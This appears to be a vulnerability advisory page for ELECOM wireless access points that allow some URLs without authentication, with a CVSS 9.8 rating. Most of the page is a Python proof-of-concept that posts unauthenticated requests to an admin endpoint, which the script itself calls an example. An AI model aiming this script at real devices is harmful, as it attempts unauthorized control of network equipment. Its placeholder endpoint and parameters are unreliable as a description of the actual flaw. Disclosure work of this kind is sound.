ELECOM wireless LAN access point devices do not require authentication to access some specific URLs. The affected product may be operated without authentication.
CVSS Details
CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
ELECOM wireless LAN access point devices (具体受影响型号请参考厂商安全公告)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# Target configuration
target_ip = "192.168.1.1" # Replace with the actual IP of the device
vulnerable_url = f"http://{target_ip}/admin/command.cgi" # Example vulnerable endpoint
# Payload to change settings or execute commands
# Specific parameters depend on the device firmware analysis
payload = {
"set_system_language": "en",
"save": "Save"
}
try:
# Sending request without authentication headers
response = requests.post(vulnerable_url, data=payload, timeout=10)
if response.status_code == 200:
print("[+] Exploit successful! Operation performed without authentication.")
print("[+] Response:", response.text)
else:
print("[-] Request failed. Status code:", response.status_code)
except requests.exceptions.RequestException as e:
print("[-] An error occurred:", e)